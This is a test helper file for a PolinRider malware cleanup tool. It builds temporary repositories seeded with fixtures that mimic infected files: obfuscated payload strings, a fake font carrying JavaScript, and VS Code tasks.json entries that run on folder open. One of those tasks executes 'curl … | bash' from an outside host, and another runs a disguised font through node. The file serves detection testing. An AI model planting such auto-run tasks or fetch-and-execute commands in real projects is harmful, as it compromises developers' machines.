Files
polinrider-cleanup/test/helpers.js
T
jodosjodos a1af57ff62 Detect EtherHiding PolinRider variant and generalize unknown-variant heuristic
Adds a third JS_VARIANTS entry for the dot-notation, decoder-array-free
payload that slipped past both known-signature matching and the old
generic heuristic (which required bracket notation, a decoder array,
and eval - all three, none of which this variant used). Also broadens
the generic heuristic to OR-based shape categories and adds a separate
technique-fingerprint detector for the EtherHiding blockchain C2
pattern, matched against unicode-decoded text so escaping individual
strings can't evade it.
2026-08-11 19:27:45 +02:00

216 lines
7.9 KiB
JavaScript

/**
* Test helpers: build throwaway repo trees in the OS temp dir, plus realistic
* payload/font fixtures derived from the real signatures.
*/
import os from "node:os";
import path from "node:path";
import fs from "node:fs";
import fsp from "node:fs/promises";
const created = [];
/** Create a unique temp directory; auto-cleaned by cleanupAll(). */
export function mkTmpDir(prefix = "polin-test-") {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
created.push(dir);
return dir;
}
/**
* Write a map of { relativePath: string | Buffer } into `dir`.
* @returns {Promise<string>} dir
*/
export async function writeFiles(dir, files) {
for (const [rel, content] of Object.entries(files)) {
const full = path.join(dir, rel);
await fsp.mkdir(path.dirname(full), { recursive: true });
await fsp.writeFile(full, content);
}
return dir;
}
/** Build a repo in a fresh temp dir from a file map. */
export async function makeRepo(files) {
return writeFiles(mkTmpDir(), files);
}
export function cleanupAll() {
for (const d of created.splice(0)) {
try {
fs.rmSync(d, { recursive: true, force: true });
} catch {
/* ignore */
}
}
}
// ─── Realistic payload fixtures (match src/signatures.js) ───────────────────────
export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`;
export const ORIGINAL_PAYLOAD =
`global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` +
`eval(String.fromCharCode(49,43,49));\n`;
export const ROTATED_PAYLOAD =
`global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` +
`eval(String.fromCharCode(49,43,49));\n`;
// Looks like an appended obfuscated blob but matches no KNOWN signature/seed.
export const GENERIC_PAYLOAD =
`global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`;
// Confirmed 3rd variant ("EtherHiding"): dot-notation flag, no decoder array
// (inlined \uXXXX escapes instead), Ethereum RPC method literals, detached
// spawn+unref persistence. Structurally mirrors the real captured sample;
// the eval/spawn payload argument is the same harmless "1+1" placeholder
// used by ORIGINAL_PAYLOAD/ROTATED_PAYLOAD — never real shellcode.
export const ETHERHIDING_PAYLOAD =
`global.i="A11--#";global.r=require;typeof module==="object"&&(global.m=module);` +
`const http=require("\\u0068\\u0074\\u0074\\u0070");` +
`function rc(n){return n;}rc("eth_getBlockByNumber");rc("eth_getTransactionCount");` +
`eval(String.fromCharCode(49,43,49));` +
`spawn("node",["-e",String.fromCharCode(49,43,49)],{detached:!0,stdio:"ignore"}).unref();\n`;
// Proves layer 2 GENERALIZES rather than being curve-fit to
// ETHERHIDING_PAYLOAD: a hypothetical "variant 4" sharing NONE of the exact
// signature/seed strings above, so it must NOT match the etherhiding
// JS_VARIANTS entry — but it uses dot notation + heavy \uXXXX-escape density
// (broadened heuristic, 2a) and fully-escaped RPC-method names + detached
// spawn (fingerprint, 2b, proving the unicode-decode step is load-bearing —
// without it this fixture's "eth_getBlockByNumber" would never match since
// it's escaped here, same as in the real sample's inconsistent escaping).
const HEAVY_ESCAPES = Array.from(
{ length: 40 },
(_, i) => `\\u${(0x41 + (i % 26)).toString(16).padStart(4, "0")}`,
).join("");
const ESCAPED_RPC_METHOD = "eth_getBlockByNumber"
.split("")
.map((c) => `\\u${c.charCodeAt(0).toString(16).padStart(4, "0")}`)
.join("");
export const FUTURE_VARIANT_PAYLOAD =
`global.z9="${HEAVY_ESCAPES}";` +
`const m="${ESCAPED_RPC_METHOD}";` +
`const cp=require("child_process");` +
`cp.spawn("node",["-e",String.fromCharCode(49,43,49)],{detached:!0,stdio:"ignore"}).unref();\n`;
// Legitimate, unicode-heavy i18n module — proves hasHeavyUnicodeEscapeDensity
// doesn't false-positive on ordinary internationalization code (sparse
// escapes among lots of plain text/keys).
export const LEGIT_I18N_MODULE = `export default {
en: { greeting: "Caf\\u00e9 \\u2014 welcome!", currency: "\\u0024" },
ja: { greeting: "\\u3053\\u3093\\u306b\\u3061\\u306f", currency: "\\u00a5" },
fr: { greeting: "Bonjour \\u00e0 tous", currency: "\\u20ac" },
};
`;
export function infectedConfig(payload) {
return LEGIT_CONFIG + "\n" + payload;
}
// ─── Font fixtures ──────────────────────────────────────────────────────────────
/**
* Structurally valid WOFF2: correct magic, a declared length that matches the
* actual byte length, and a non-zero table count. Inert padding.
*/
export function validWoff2(size = 64) {
const buf = Buffer.alloc(Math.max(size, 16), 0x00);
buf.write("wOF2", 0, "latin1");
buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO
buf.writeUInt32BE(buf.length, 8); // total length == file size
buf.writeUInt16BE(4, 12); // numTables (non-zero)
return buf;
}
/**
* Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed
* `extra` text. Used to prove that a genuine font is NOT flagged even when it
* contains a license URL and a long base64-looking run — the exact bytes that
* previously produced false positives on real commercial fonts.
*/
export function validSfnt(extra = "") {
const numTables = 1;
const dirEnd = 12 + numTables * 16;
const body = Buffer.from(extra, "latin1");
const buf = Buffer.alloc(dirEnd + body.length, 0x00);
buf.write("OTTO", 0, "latin1"); // sfntVersion → otf
buf.writeUInt16BE(numTables, 4);
buf.write("CFF ", 12, "latin1"); // table tag
buf.writeUInt32BE(0, 16); // checksum
buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory)
buf.writeUInt32BE(body.length, 24); // table length
body.copy(buf, dirEnd);
return buf;
}
/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */
export const REAL_FONT_STRINGS =
"Copyright. http://www.monotypeimaging.com " + "A".repeat(400);
/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */
export function goodFont() {
return validWoff2(256);
}
/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */
export function evilFont() {
return Buffer.from(
"global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}",
"latin1",
);
}
// ─── .vscode fixtures ─────────────────────────────────────────────────────────────
export const LEGIT_TASKS = `{
// Build tasks
"version": "2.0.0",
"tasks": [
{ "label": "build", "type": "shell", "command": "npm run build" },
{ "label": "test", "type": "npm", "script": "test" },
]
}
`;
export const INFECTED_TASKS = `{
"version": "2.0.0",
"tasks": [
{ "label": "build", "type": "shell", "command": "npm run build" },
{
"label": "[auto]",
"type": "shell",
"command": "curl -fsSL https://default-configuration.vercel.app/x | bash",
"runOptions": { "runOn": "folderOpen" }
}
]
}
`;
export const LEGIT_LAUNCH = `{
"version": "0.2.0",
"configurations": [
{ "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" }
]
}
`;
// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font
// through node (no curl/URL — the old fetch-to-shell detector missed this).
export const INFECTED_TASKS_NODE = `{
"version": "2.0.0",
"configurations": [
{ "type": "node", "request": "launch", "name": "Run My Project" }
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)",
"isBackground": true,
"runOptions": { "runOn": "folderOpen" }
}
]
}
`;